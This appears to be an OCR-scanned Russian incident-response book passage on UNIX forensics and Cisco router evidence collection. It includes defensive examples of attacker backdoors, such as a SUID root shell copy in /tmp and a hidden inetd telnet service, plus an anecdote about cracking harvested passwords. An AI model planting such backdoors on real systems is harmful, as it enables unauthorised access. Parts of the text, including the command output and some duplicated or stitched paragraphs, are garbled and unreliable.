UNIX хранит информацию о файлах в физических дисковых участках,
а ваемых inodes. Inode содержит всю информацию, которая описывает
файл, такую как время последнего доступа/создания/модификации, полно-
мочия доступа и указатели на физические блоки на жестком диске, которые
Это частичный список файлов, обычно связанных с rootkit. (Как объяс-
нялось в главе 11, rootkit является совокупностью системных процессов и
сценариев со встроенным, как правило, троянским кодом, которые автома-
тизируют системные атаки). Дальнейшее исследование этих и других фай-
лов с близкими отметками времени, несомненно, подтвердит наличие ком-
прометации. Поиск других файлов и каталогов, модифицированных в
подозрительных временных рамках, может предоставить огромный отчет
для исследователя.
Восстановление удаленных файлов и данных
Часто необходимо восстановить удаленные файлы или данные для исследова-
ния. В главе 11 показывалось, как восстановить программы, связанные с вы-
полняющимися процессами. Может также понадобиться восстановить файлы
в файловой системе. Успешное восстановление файлов в системе UNIX требу-
ет некоторого детального знания структур файловой системы.
UNIX хранит информацию о файлах в физических дисковых участках,
называемых inodes. Inode содержит всю информацию, которая описывает
файл, такую как время последнего доступа/создания/модификации, полно-
мочия доступа и указатели на физические блоки на жестком диске, которые

Исследование систем UNIX
349
содержат данные файла. Три важных элемента информации также хранят-
ся в inode: счетчик ссылок, размер файла и список блоков данных. Норма-
льные файлы будут иметь ненулевой счетчик ссылок. Когда файл удаляется
с помощью команды rm, его счетчик ссылок, размер файла и список блоков
данных задаются равными нулю (Linux обнуляет только счетчик ссылок).
Данные, на которые указывает inode, не удаляются. Поэтому, чтобы восста-
новить удаленный файл, используйте информацию из inode для восстанов-
ления размера файла и списка блоков данных.
Очень просто найти inode существующего файла с помощью команды Is:
[root@victim]# ls  i /etc/passwd
66731 /etc/passwd
Этот вывод показывает, что файл /etc/passwd расположен в inode с но-
мером 66731. Чтобы просмотреть содержимое данного файла, можно испо-
льзовать обычную команду cat /etc/рasswd.
Можно также просмотреть файл, ссылаясь на его номер inode с помо-
щью утилиты icat из Coroner's Toolkit (TCT). С помощью icat можно опре-
делить устройство и inode на устройстве:
[root@victim]# ./icat /dev/hda7 66731
root:x:0:0: root:/root:/bin/bash
bin:x:1:1:bin: /bin:
daemon:x:2:2:daemon:/sbin:
Таким образом можно перечислить все содержимое файла, расположен-
ного в любом inode.
Восстановление удаленного файла требует знания его номера inode.
Если процесс по прежнему выполняется, можно найти номер inode с помо-
щью команды lsof и столбца NODE (обычно предпоследний столбец). На-
пример, часть вывода lsof, которая показывает inode для выполняющегося
кода sshd, может выглядеть таким образом:
[root@victim]# ./icat /dev/hda7 66731
COMMAND PID USER FD TYPE DEVICE SIZE
NODE
NAME
sshd 445 root txt REG 3,7 224732
97455 /usr/sbin/sshd
Чтобы восстановить этот двоичный файл, можно использовать следую-
щую команду:
icat /dev/hda7 97455 > sshd.recovered
Эта методика аналогична восстановлению удаленных процессов из ката-
лога /ргос (см. главу 11).
Конечно, не всегда будет известно, что ищется на диске доказательства.
К счастью, ТСТ содержит утилиты, идентифицирующие inode, которые
могут содержать данные. Команда ils выводит информацию inode для каж-
дого файла в системе, удаленного или нет. Выделенные inode являются
файлами, которые все еще существуют в системе. Свободные inode пред-
ставляют собой файлы, которые были удалены или являются пустым про-
странством, ожидающим новый файл, Вывод команды ils очень удобен для
пользователя:

350
Глава 12
[root@victim]# ./ils  e /dev/hda7 > inode.lst
class|host|device|start_time
ils|mirkwood|/dev/hda7|990054992
st,ino|st_alloc|st_uid|st_gid j stjntime|st_atime|st_ctime|st_dtirae|
stjnode|st_nlink|st_size|st_blockO|st_block1
2|a|0|0|990046876|990054984|990046876|0|40755|19|4096|478|0
3|a 0|0|0|0|0|0|0|0|0|0|
Список inode может быть огромным, особенно в больших файловых си-
стемах. Можно сократить эту информацию, разыскивая файлы с опреде-
ленным UID или GID. Вы, вероятно, всегда будете искать файлы с UID 0.
При исследовании обычной учетной записи пользователя, можно искать
inode с UID или GID этого пользователя. Ниже представлен пример испо-
льзования команды для поиска всех удаленных файлов, связанных с пользо-
вателем UID 1007 (параметр  А советует ils перечислять только свободные
узлы):
[root@victim]# ./ils  A /dev/hda7 | grep "|1007|"
5903 |f |100711007192618681819871944201987195790 |98П95790| 10064410| 5685
|23305(23306
590 |f|1007|1007|885343183|987194420|987195790|987195790|100644|0|515
|23307|0
5905|f|1007|1007|913914343|987194420|987195790|987195790|100644|D|413 .
|23308|0
5906 J f110071100719871957911987195791198719579119871957911407551010
|23338|0
5934|f 11007|100718504024621987194420198719579119871957911100644|0 130212333910
6453|f|1007|1007|850402462|987194420|987195791|987195791|100644|0
|444|23340|0
64561 f 11007110071850402462198719442019871957911987195791110064410
|3323|23341|0
6457|f11007|1007|850402462198719442019871957911987195791110064410
|1074|23342)0
646'|f11007|10071850402462198719442019871957911987195791110064410
|1737|23343|0
6467|f|1007|1007|850402462|987194420|987195791|987195791|100644|0
|1675|23344|0
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
The Coroner's Toolkit (icat, ils и другие утилиты): http://www.fish.com/forensics/
Просмотр специальных файлов
Существуют определенные типы файлов и каталогов, которые, кажется,
постоянно попадают в инциденты. Эти файлы и каталоги включают файлы
SUID и SGID, необычные и скрытые файлы и каталоги, конфигурационные
файлы, и каталог /tmp. В этом разделе мы попытаемся объяснить, как файлы
могут быть связаны с расследованиями UNIX.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
The Coroner's Toolkit (icat, ils и другие утилиты): http://www.fish.com/forensics/
Просмотр специальных файлов
Существуют определенные типы файлов и каталогов, которые, кажется,
постоянно попадают в инциденты. Эти файлы и каталоги включают файлы
SUID и SGID, необычные и скрытые файлы и каталоги, конфигурационные
файлы, и каталог /tmp. В этом разделе мы попытаемся объяснить, как файлы
могут быть связаны с расследованиями UNIX.

Исследование систем UNIX
351
Файлы SUID и SGID UNIX содержит свойства, известные как set userid
(SUID) и set groupid (SGID), которые созданы для предоставления програм-
мам возможности действовать с более высокими привилегиями, чем приви-
легии пользователя, выполняющего программу. Обычно, если пользователь
Боб выполняет программу, то она осуществляется с привилегиями пользова-
теля Боба. Однако если программа является SUID и Боб выполняет ее, то
она осуществляется с привилегиями того пользователя, который владеет ис-
полняемым файлом, обычно администратора. SGID работает таким же обра-
зом за исключением того, что программа выполняется с привилегиями
ассоциированной группы.
Административные программы SUID и SGID являются источником боль-
шинства атак на основе расширения привилегий в системах UNIX. Кроме
того, они являются излюбленным черным ходом для атакующих. Админист-
ративная копия SUID /bin/ksh (оболочки Коrn) большинства систем UNIX
предоставит административные привилегии любому пользователю, кото
рый ее выполняет. Это также называют rootshell/
Для исследователя подозрительная административная программа SUID
является поводом для тревоги. Чтобы найти в системе все программы SUID
или SGID, выполните следующие команды find:
[root@victim]# find /  perm  004000  type f  print
[root@victim]# find /  perm  006000  type f  print
Если вы видите что то подозрительное, например административную
программу SUID в /tmp, исследуйте дальше. Часто появляется простая ко-
пия /bin/ksh в /tmp, как показано ниже:
[root@victim]# Is  al /tmp/.rewt
 rwsr xr x 1 root root 165072 May 18 12:03 /tmp/.rewt
[root@victim]# md5sum /tmp/.rewt
50451dffcced4c11ab409af5b2cd1ccb /tmp/.rewt
[root@victim]# md5sum /bin/ksh
50451dffcced4c11ab409af5b2cd1ccb /bin/ksh
Необычные и скрытые файлы и каталоги Атакующие часто скрывают фай-
лы и каталоги от случайных наблюдателей. В UNIX любой файл или каталог,
который начинается с точки (.), является скрытым от случайного взгляда.
Он не будет появляться в листинге команды ls, если только не используется
параметр  а. Более того, атакующие часто называют файлы и каталоги по
внешнему виду безобидными именами, такими как rpc.auditd для сетевого
анализатора или /tmp/.Xll R5 для каталога. Особенно распространенным
для каталогов является имя "...". Все имена аналогичны существующим фай
лам и каталогам, и они не будут сразу вызывать подозрение администратора,
когда появятся в списке каталога или в списке таблицы процессов.
Конфигурационные файлы Конфигурационные файлы являются ключевым
местоположением доказательства для многих инцидентов. С помощью всей
встроенной функциональности операционной системы UNIX знающий ата-
кующий может легко модифицировать приложения для выполнения зло
вредных задач. Частыми целями являются файлы, которые контролируют

352
Глава 12
доступ к системе жертве, такие как конфигурационные файлы TCP Wrap-
per /etc/hosts.allow и /etc/hosts.deny. Атакующие могут модифицировать
или удалить эти файлы, чтобы по желанию разрешить определенным
компьютерам соединиться с системой жертвой.
Конфигурационный файл демона Интернета inetd.conf (расположенный
в каталоге /etc) контролирует многие из сетевых служб системы UNIX. Та-
кие службы, как telnet, FTP, TFTP, запускаются через этот файл. Атакующий
может добавить записи в файл (чтобы система жертва слушала на многих
портах) или включить ранее отключенную службу, такую как TFTP.
Что может произойти
Журнал сетевого IDS зафиксировал трафик, направленный в порт 55000 на
сервере DNS. Озадаченный, вы ведете дальнейшее расследование.
Где искать доказательства
Файл inetd.conf использует файл партнер с именем /etc/services для опре-
деления, какие порты ассоциированы со службами. В этом случае вы ищете
в файле /etc/services запись с портом 55000:
[root@lucky /root]# grep 55000 /etc/services
telnet2 55000/tcp
Вы идентифицируете службу с именем telnet2, которая ассоциируется
с портом TCP 55000. Вы ищете в inetd.conf эту службу:
[root@lucky /root]# grep telnet2 /etc/inetd.conf
telnet2 stream tcp nowait root /usr/sbin/tcpd in.telnetd
Вы обнаружите здесь в inetd.conf черный ход. Этот простой черный ход
не очень распространен в сегодняшнем мире более изощренных методов.
Однако вы встретили уловку, о которой необходимо знать. Атакующий со-
здал сервер telnet, который слушает на порте 55000. Подобный сервер tel-
net действует точно так же, как и сервер telnet на порте 23. Однако порт с
большим номером может не контролироваться сетевым анализатором или IDS.
Стартовые файлы Операционная система UNIX имеет несколько мест, кото-
рые используются для запуска служб и приложений. Только что упоминался
файл inetd.conf, один из основных файлов этого типа. Другими примерами
являются стартовые файлы сгоn, гс и стартовые файлы пользователя.
Как упоминалось ранее, средство сгоn используется для планирования бу
дущего выполнения программ. Каталоги /var/spool/cron или /usr/spo
ol/cron используются для хранения заданий сгоn различных пользователей.
Файлы в этом каталоге именуются согласно учетным записям пользователей.
Любое задание, хранящееся в этих файлах, выполняется с привилегиями по-
льзователя. Например, задания в файле /var/spool/cron/root выполняются
с привилегиями администратора. По этой причине задания сгоn являются
любимым местом для укрытия троянских программ. Тщательно проверяйте
каждый файл, выполняемый в заданиях сгоп, так как они могут содержать
зловредный код.

Исследование систем UNIX
353
Другим местоположением стартовых файлов является каталог гс. Обычно
он называется /etc/rc.d. Этот каталог содержит список программ, которые
запускаются при загрузке системы UNIX. Программы, подобные sendmail и
portmapper, традиционно контролируются этими конфигурационными
файлами. Однако атакующие могут легко добавить запись в любой из стар-
товых сценариев для запуска во время загрузки троянских программ. Про-
верьте каждый из стартовых сценариев на наличие поддельных записей.
Уточните, что программы, запускаемые из каталога гс, являются законными
и не изменялись атакующим.
Еще одним местоположением стартовых файлов является каталог home
каждого пользователя. Такие файлы как .login, .profile, .bashrc, .cshrc и
.exrc автоматически опрашиваются, когда пользователь входит в систему
или выполняются различные программы. Троянские программы могут
быть встроены в эти файлы. Все конфигурационные файлы данного типа
должны проверяться на наличие поддельных записей.
Каталог tmp По умолчанию каталог /tmp --- единственная файловая систе-
ма в системе UNIX, всем доступная для записи. Это делает ее популярной
для атакующих и любимым местом хранения зловредных утилит. Многие
бесплатно доступные программы используют каталог /tmp для хранения
временных файлов при атаках по расширению привилегий. В них часто
остаются следы доказательства. Тщательно проверьте каталог /tmp в слу-
чае инцидента, чтобы определить, не существуют ли там скрытые каталоги
или подозрительные файлы.
Обнаружение неавторизованных учетных записей
или групп пользователей
Атакующие часто модифицируют информацию учетных записей или групп
на системах жертвах. Подобные модификации могут возникать в форме до-
полнительных учетных записей или расширения привилегий текущих учет-
ных записей. Важно создать черный ход для будущего доступа. Необходимо
проверить учетные записи пользователей и групп на подозрительных сис-
темах жертвах, чтобы убедиться, что атакующий не манипулировал этой
информацией. Контроль за информацией учетных записей системы UNIX
является простым процессом.
Исследование учетных записей пользователей
Информация о пользователях хранится в файле /etc/passwd. Этот тексто-
вый файл можно легко просмотреть с помощью множества механизмов.
Каждый пользователь в системе UNIX имеет запись в файле /etc/passwd.
Типичная запись выглядит следующим образом:
lester:x:512:516:Lester Расе:/home/lester:/bin/bash
Запись состоит из семи разделенных двоеточиями полей: имя пользова-
теля (lester), пароль (скрытый в данном случае), ID пользователя (512), ID
группы (516), поле GECOS (комментарии, в данном случае "Lester Pace"),
домашний каталог и используемая по умолчанию оболочка входа в систему.

354
Глава 12
Любые дополнительные учетные записи пользователя, не созданные си-
стемным администратором, служат причиной для беспокойства. Любые
учетные записи, которые должны быть отключены или недоступны для уда-
ленного входа, такие как daemon, sync или shutdown, должны проверяться,
чтобы гарантировать, что они не были изменены. Кроме того, тщательно
проверьте каждый ID пользователя и ID группы. ID пользователя 0 или 1
для учетной записи пользователя является подозрительным. Эти ID пользо-
вателя предоставляют доступ уровня администратора и bin соответствен-
но. Если учетная запись пользователя с обычными привилегиями имеет те-
перь более высокий уровень привилегий, то это скорее всего черный ход
для атакующего с целью получения привилегированного доступа.
Исследование учетных записей групп
Учетные записи групп используют ID группы, показанный в файле
/etc/passwd, а также в файле /etc/groups. Типичный файл /etc/group по-
казан ниже:
$ cat /etc/group
root::0:root.ashunn
bin::2:root,bin,daemon
sys::3:root,bin.sys.adm
adm: :4:root,adm,daemon
uucp::5:root.uucp
Файл перечисляет группы вместе с пользователями, которые ассоции-
рованы с этой группой. Отметим, что для наличия группы не обязательно
существование записи в файле group. Членство в группе основывается на
ID группы в файле password.
При проверке учетных записей групп в системе ищите любых пользова-
телей, которые находятся в высоко привилегированных группах. Напри-
мер, учетная запись пользователя, которая имеется в группе bin, является
поводом для дальнейшего расследования, так как ее использование предо-
ставляет доступ к системным файлам.
Выявление незаконных процессов
Выявить незаконные процессы значительно легче при проверке действующей
системы (см. главу 11). Во время начального исследования необходимо запи-
сать все слушающие порты и выполняющиеся процессы. Если вы этого не сде-
лали, обратитесь к главе 11, чтобы узнать, как выполнить подобные действия.
Необходимо тщательно проверить выполняющиеся процессы, чтобы
убедиться в их допустимости. Все двоичные коды, связанные со слушающи-
ми службами и выполняющимися процессами, также должны проверяться,
чтобы убедиться, что они не были модифицированы.
Что может произойти
Во время начального исследования тщательно записаны слушающие порты
и выполняющиеся процессы. При дальнейшей проверке были замечены
аномалии для FTP:

Исследование систем UNIX
355
[root@victim]# netstat  anp
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 519/inetd
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 519/ftpd
telnet и FTP должны выполняться из inetd, но, видимо, осуществляется
отдельный демон FTP.
Где искать доказательства
Вы проверяете /etc/inetd.conf и обнаруживаете, что служба FTP была от-
ключена:
[root@victim]# grep ftpd /etc/inetd.conf
#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd  1  a
Затем в файловой системе вы ищете файл с именем ftpd и находите такой
файл в /usr/sbin:
[root@vistim]# find /  name ftpd  print
/usr/sbin/ftpd
Извлекая отметки времени/даты файла и анализируя двоичный код
(см. главу 16), вы теперь на правильном пути к определению размера всего
инцидента.
Проверка неавторизованных точек доступа
UNIX является полнофункциональной, надежной операционной системой.
В ходе своей длинной истории развития в UNIX постоянно добавлялись
ноdые функции. Сетевые службы не являются исключением. Используемая
по умолчанию установка UNIX предлагает прекрасный набор сетевых
служб, включая сетевую файловую систему (NFS), telnet, finger, rlogin и др.
Любая из сетевых служб в системах UNIX может потенциально предоставить
некоторую степень удаленного доступа для нежелательного нарушителя.
Некоторыми из наиболее распространенных точек доступа, которыми
могут воспользоваться злоумышленники, являются серверы X, FTP, telnet,
TFTP, DNS, sendmail, finger, SNMP, IMAP, POP, HTTP и HTTPS.
К сожалению, это только частичный список. При выполнении исследо-
вания системы UNIX необходимо проверять все сетевые службы как потен-
циальные точки доступа. Сетевые службы могут быть уязвимыми, предо-
ставлять злоумышленникам доступ к системе, или сетевые службы уже
моuen содержать встроенный троянский код успешного нарушителя.
При исследовании конфигурационных файлов, стартовых файлов, и слу-
шающих соединений (описанных в предыдущих разделах) нашли ли вы
что нибудь подозрительное? Какие "нормальные" службы выполнялись в сис-
теме во время предполагаемого инцидента? Ответы на эти вопросы помогут
определить, как злоумышленник смог получить доступ к системе. Каждая по-
тенциальная точка доступа должна проверяться. Вы сможете убедиться, что
они сконфигурированы безопасно и имеют самые свежие исправления. Срав-
ните контрольныe суммы с известными хорошими версиями каждого прило-
жениия, чтобы гарантировать, что программа не была сделана троянской.

356
Глава 12
Анализ доверительных отношений
Доверительные отношения в системах UNIX были когда то основным меха-
низмом атаки. Доверительные отношения можно создать между системами
UNIX с помощью различных служб, наиболее популярные из которых вклю-
чают rlogin и rsh, сетевую информационную службу (NIS и NIS+), NFS и ssh.
Доверительные отношения удобны для системных администраторов и поль-
зователей. Если машина А доверяет машине В, то пользователь на машине В
может получить доступ к машине А без дополнительных полномочий. Если
вы являетесь системным администратором с десятками обслуживаемых сис-
тем, использование этого свойства может быть очень привлекательным.
Доверительные отношения обычно конфигурируются с помощью таких
файлов как /etc/hosts.equiv или любого файла .rhosts в домашнем каталоге
пользователя. Доверительные отношения можно создать с помощью ssh че
рез общие ключи и через общие ресурсы NFS. Более того, брандмауэры и
средства контроля за доступом на базе хоста, такие как TCP Wrappers, часто
конфигурируются таким образом, чтобы позволить некоторым IP адресам
источника общаться с защищенными хостами. Была представлена другая
форма доверительных отношений. Исследуйте все возможные доверитель-
ные отношения для определения, играют ли они какую то роль в инциденте.
НАГЛЯДНЫЙ ПРИМЕР
Несколько лет назад я выполнял оценку сети в секретном правительст-
венном учреждении, где содержались десятки рабочих станций UNIX, a
также более мощные системы. В то время как практически все рабочие
станции UNIX были сконфигурированы безопасно, пара систем были
уязвимы для удаленной атаки. После получения административного до-
ступа к одной из систем UNIX я проверил конфигурационные файлы и
обнаружил, что рабочая станция жертва доверяла всем другим компью-
терам UNIX в IAN. Доверительные отношения были транзитивными. Я
мог войти в любую другую рабочую станцию как администратор. Пред-
ставьте мое удивление при обнаружении, что одна из систем была супер-
компьютером CRAY. Тогда я использовал CRAY для вскрытия паролей,
собранных со всех других систем UNIX.
ИТОГИ
Разработка методов для судебного исследования систем UNIX является са-
мым важным процессом для любого работающего с инцидентами профес-
сионала. Важно понимать свойства операционной системы. В этой главе
были описаны некоторые из наиболее полезных компонентов систем
UNIX, которые помогают в расследовании инцидентов. Кроме того, были
показаны важные средства, необходимые для понимания инцидента и эф-
фективного реагирования.

ЧАСТЬ IV
Исследование
независимых
от платформы
технологий

ГЛАВА 13
Исследование
маршрутизаторов

360
Глава 13
Маршрутизаторы
играют различные роли во время инцидентов. Они
могут быть целями атаки, промежуточными этапами для атакующих или ин-
струментами для исследователей. Они могут предоставить ценную инфор-
мацию и доказательства, которые позволят исследователям разрешить
сложные сетевые инциденты.
Маршрутизаторы не обладают возможностями хранения данных и функ-
циональностью многих других технологий, которые были рассмотрены в
предыдущих главах. Менее вероятно, что они будут конечной целью атаку-
ющих. (Одним существенным исключением является то, что маршрутиза-
торы являются целями во время атак отказа в обслуживании, и мы внима-
тельно рассмотрим этот тип инцидентов). Маршрутизаторы скорее всего
являются трамплином для атакующих во время проникновения в сети.
Информация, хранящаяся на маршрутизаторах,--- пароли, таблицы марш-
рутизации и информация о блокировании сети --- делает маршрутизаторы
ценным средством для атакующих, стремящихся проникнуть во внутрен-
ние сети.
, В этой главе рассматривается информация, которая хранится на марш-
рутизаторах. Показывается, как эти сведения используются во время атаки
атакующими и исследователями. Затем предоставляются технические дета-
ли, которые нужны при реагировании на инцидент, включающий маршру-
тизатор. Наше обсуждение маршрутизатора будет основываться на продук-
тах Cisco (Cisco доминирует на рынке маршрутизаторов), но принципы
применимы для большинства продуктов маршрутизации.
ПОЛУЧЕНИЕ ИЗМЕНЧИВЫХ ДАННЫХ
Д0 ВЫКЛЮЧЕНИЯ ПИТАНИЯ
Процесс реагирования начинается с получения наиболее изменчивых дан-
ных. Вы видите, что информация в оперативной памяти наиболее измен-
чива, в то время как информация, хранящаяся на жестком диске или в неиз-
менчивой RAM (NVRAM), является стабильной. Соответственно, если
какая либо информация в оперативной памяти может быть важной для ис-
следования, ее нужно сохранить перед выключением питания или измене-
нием состояния действующего маршрутизатора.
Для маршрутизаторов информация в оперативной памяти почти всегда
является важной, так как маршрутизаторы имеют небольшие возможности
для хранения данных. Единственными реальными данными, сохраненны-
ми в NVRAM, является конфигурация самого маршрутизатора. Такая кон-
фигурация отличается от конфигурации, которую маршрутизатор исполь-
зует во время работы, особенно если маршрутизатор был объектом атаки
хакера. Информация о состоянии системы в памяти (о текущих таблицах
маршрутизации, слушающих службах и текущих паролях) теряется, если
маршрутизатор будет выключен или перезагружен.

Исследование маршрутизаторов
361
Действия, рассматриваемые в этом разделе, являются важными для мар-
шрутизаторов, вовлеченных в атаки. Информация об этих исследователь-
ских действиях позволит определить, какова конфигурация маршрутизато-
ра. Информация о конфигурации маршрутизатора предоставит также
четкую картину о пересылке пакетов в сети. В зависимости от особенностей
специфического инцидента --- либо вы подозреваете, что маршрутизатор
был активной частью атаки или просто промежуточной ступенью --- можно
опустить или изменить порядок некоторых обсуждаемых здесь действий.
Создание соединения маршрутизатора
Прежде чем что то делать, необходимо создать соединение с маршрутизато-
ром. Лучшим способом доступа к маршрутизатору является использование
консольного порта. Соединяясь напрямую с маршрутизатором, вы с мень-
шей вероятностью предупредите атакующего, который все еще имеет доступ
к сети. Если для соединения с маршрутизатором использовать telnet, то ата
кующий с сетевым анализатором может потенциально увидеть ваш трафик и
узнать, что проводится расследование. Если консольный доступ невозмо-
жен, то вместо telnet лучше использовать коммутируемое соединение или
протокол с шифрованием, такой как SSH.
ВНИМАНИЕ Большинство маршрутизаторов требует специализированное обо-
рудование для консольного доступа. Для маршрутизаторов Cisco
понадобится удлинительный (rollover) кабель RJ 45 RJ 45 (отличаю-
щийся от кабеля пересечения (crossover)) и адаптер DTE "мама"
RJ 45 to DB 9 (эти адаптеры обычно помечены как "Terminal"). Вам
также понадобится переносной или настольный компьютер с эмули-
рующим терминал программным обеспечением. (HyperTerminal ра-
ботает и поставляется с большинством операционных систем
Windows). Специальное оборудование будет хорошим дополнением
к набору реагирования на инциденты.
При создании соединения с маршрутизатором не забудьте записать весь
сеанс. С помощью HyperTerminal эту задачу выполнить легко: выберите
просто параметр Transfer | Capture Text.
Маршрутизаторы Cisco имеют два уровня доступа. Соединяясь через
консоль, вы автоматически получаете нижний уровень доступа, который
не требует применения пароля.
Запись системного времени
Одним из первых действий должна быть запись системного времени.
Время критически важно при последующих перекрестных ссылках с други-
ми данными. Отдельные системы часто имеют разное задание времени. Ис-
пользуйте команду show clock для получения системного времени (уровень
доступа enable, или привилегированный, при этом не требуется).
cisco_router>show clock
*03:13:21.511 UTC Тue Mar 2 2001

362
Глава 13
ВНИМАНИЕ Все команды маршрутизатора и вывод, показанные в этой главе,
соответствуют маршрутизаторам Cisco.
Определение зарегистрированных пользователей
Следующее действие состоит в определении всех пользователей, зарегист-
рированных на маршрутизаторе. Используйте команды show users или systat
для получения результатов (см. ниже):
cisco_router>show users
Line User Host(s)
Idle Location
*0con0 idle
00:29:46
1vty0 idle
00:00:00 10.0.2.71
2 vty 1 10.0.2.18 00:00:36 172.16.1.1
Этот вывод показывает, что на маршрутизаторе в данный момент зарегист-
рированы три пользователя:
Первая запись демонстрирует, что кто то зарегистрировался на консо-
ли (con). Звездочка (*) слева указывает, что это соединение, с которого
мы зарегистрировались.
Второй записью является vty, или виртуальная терминальная ли-
ния. Она обозначает, что кто то зарегистрировался на маршрутиза-
торе с хоста с IP адресом 10.0.2.71.
Последнее виртуальное терминальное соединение показывает, что
кто то зарегистрировался с IP адреса 172.16.1.1, и то же лицо устано-
вило соединение из маршрутизатора с хостом с IP адресом 10.0.2.18.
Это будет полезной информацией при расследовании инцидентов. Как и
для любого исследования, если будет обнаружен кто то другой зарегистриро-
ванный в системе жертве, необходимо заново оценить, как поступить даль-
ше. Если вы остаетесь зарегистрированным, то другой пользователь (потен-
циально атакующий) может узнать о том, что происходит расследование.
Определение периода времени работы маршрутизатора
Время, в течение которого система была включена с момента последней пе-
резагрузки, может также оказаться важным. Используйте для получения
этой информации команду show version.
cisco_router>show version
Cisco Internetwork Operating System Software
I0S (tm) 1600 Software (C1600 Y M), Version 11.3(5)T, RELEASE SOFTWARE (fcl)
Copyright (c) 1986 1998 by Cisco Systems, Inc.
Compiled Wed 12 Aug 98 04:57 by ccai
Image text base: 0x02005000, data base, 0x023C5A58
ROM: System Bootstrap, Version 11.1(12)XA, EARLY DEPLOYMENT RELEASE
SOFTWARE (fcl)
ROM: 1600 Software (C16O0 RB00T R), Version 11.1(12)XA, EARLY DEPLOYMENT
RELEASE SOFTWARE

Исследование маршрутизаторов
363
(to?)
cisco_router uptime is 1 day, 4 hours, 20 minutes
System restarted by power on
System image file is "flash:c1600 y mz_113 5_T.bin", booted via flash
Cisco 1605 (68360) processor (revision C) with 7680K/512K bytes of memory.
Processor board ID 10642891, with hardware revision 00000000
Bridging software.
X.25 software, Version 3.0.0.
2 Ethernet/IEEE 802.3 interface(s)
System/10 memory with parity disabled
8192K bytes of DRAM onboard
System running from RAM
8K bytes of non volatile configuration memory.
204dK bytes of processor board PCMCIA flash (Read/Write)
Configuration register is 0x2102
Значительный объем информации доступен из этой команды. Информа-
ция о программном обеспечении и оборудовании предоставит четкую кар-
тину возможностей рассматриваемого маршрутизатора.
Определение слушающих соединений
Маршрутизаторы имеют ограниченную функциональность по сравнению с
множеством технологий, делающим экспоненциально более трудным для
атакующего встроить троянский код, который создает черный ход. Однако
маршрутизаторы предоставляют ряд служб, которые допускают удаленные
соединения. Telnet наиболее известна, но существуют и другие. Одним из
способов обнаружить, что в маршрутизаторе существуют какие то пути до-
ступа, о которых вы не знаете, является определение слушающих на марш-
рутизаторе портов (соединений).
i
Чтобы определить, какие службы выполняются на маршрутизаторе, ис-
пользуйте внешний сканер портов или проверьте конфигурационный
файл. Конфигурационный файл охватывает все аспекты конфигурации
маршрутизатора. Обсудим его сохранение в следующем параграфе.
Примером проверки всех слушающих TCP и UDP портов с помощью
сканера портов fscan будет следующий:
C:\>fscan 10.0.2.244  р 1
 65535  и 1  65535
FScan v1.12 Command line port sca ner.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com
Scan started at Sun Feb 18 16:36:23 2001
10.0 2. 4
23
79/tcp
10.0 2.2
80/tcp
10.0.2.244
161/udp
В этом случае слушающими портами являются 23 (telnet), 79 (finger) { 80
(Web) и 161 (SNMP). Сервер Web, выполняющийся на порте 80, позволяет

364
Глава 13
выполнять удаленную администрацию маршрутизатором. Порт 80 обычно
доступен через брандмауэр. Если вы встретите такую ситуацию во время
расследования инцидента, который включает реконфигурацию маршрути-
затора, то скорее всего вы нашли путь доступа. Именно его использовал
атакующий для достижения и реконфигурации маршрутизатора.
Другими портами, обычно видимыми на маршрутизаторах, являются
7 (echo), 19 (chargen), 22 (безопасная оболочка) и порты с большими номе-
рами, такими как 2001, 4001, и 8001. Они располагаются альтернативно
серверу telnet. О портах telnet с большими номерами часто забывают при
рассмотрении возможностей удаленного доступа маршрутизаторов.
Сохранение конфигурации маршрутизатора
Конфигурации маршрутизаторов обычно простые. Вся информация конфи-
гурации для маршрутизаторов Cisco хранится в одном конфигурационном
файле. Эта конфигурация управляет всеми аспектами поведения маршрути-
затора и хранится в NVRAM. Маршрутизатор использует подобную храни-
мую конфигурацию во время начальной загрузки. Однако можно изменить
конфигурацию маршрутизатора, не изменяя хранящийся в NVRAM конфигу-
рационный файл. Вместо этого, изменения конфигурации делаются в опера-
тивной памяти (RAM) и сохраняются в NVRAM только по команде админи-
стратора. Поэтому вы должны сохранить конфигурацию, которая находится
в оперативной памяти, а также конфигурацию в NVRAM.
Чтобы сохранить конфигурационные файлы, вы должны иметь к марш-
рутизатору уровень доступа enable (привилегированный). Используйте
команду show running config или эквивалентную (но более старую) команду
write terminal для просмотра конфигурации, загруженной в данный момент
в маршрутизатор.
cisco_router# show running config
Используйте команду show startup config или эквивалентную команду
show config для просмотра сохраненной в NVRAM конфигурации.
cisco_router#show startup config
Рассмотрим часть информации конфигурационных файлов позже в этой
главе в разделе "Поиск доказательства". Продолжим описание действий для
записи необходимой информации.
Просмотр таблицы маршрутизации
В таблице маршрутизации показано, как маршрутизатор пересылает пакеты.
Если атакующий сможет манипулировать таблицей маршрутизации, то он
изменит место назначения пересылки пакетов. Таблицей маршрутизации
можно манипулировать с помощью доступа на уровне строки команд и с по-
мощью злонамеренных пакетов обновления маршрутизатора. В любом слу-
чае таблица маршрутизации будет отражать изменения. Чтобы просмотреть
таблицу маршрутизации, используйте команду show ip route.

Исследование маршрутизаторов
365
Пример инцидента
Хитрый хакер может изменить пароль доступа, сохраненный в памяти.
Легальный системный администратор не может получить доступ к марш-
рутизатору, не перезагружая систему. А это приведет к сбросу конфигура-
ции нападающего. В данном случае полный обзор маршрутизатора будет
невозможен.
cisco_router#show ip route
Codes:С connected,S static,I IGRP,R RIP,M mobile,В BGP
С EIGRP, EX EIGRP external, 0 OSPF, IA OSPF inter area
N1 OSPF NSSA external type 1, N2 OSPF NSSA external type 2
E1 OSPF external type 1, E2 OSPF external type 2, E EGP
i IS IS. L1 IS IS level 1 L2 IS IS level 2, *
candidate default
U per user static route, о ODR
Gateway of last resort is not set
172.16.0.0/24 is subnetted, 1 subnets
С 172.16.1.0 is directly connected, Ethernetl
10.0.0.0/24 is subnetted, 1 subnets
С 10.0.2.0 is directly connected, EthernetO
S 192.168.1.0/24 [1/0] via 172.16.1.254
[1/0] via 172.16.1.10
Информация является простой, особенно при условии, что коды пере-
числены немедленно вслед за выполнением команды. Статические маршру-
ты, такие как последний маршрут в примере выше, также видны в конфигу-
рационном файле. Если появляется злоумышленный статический маршрут,
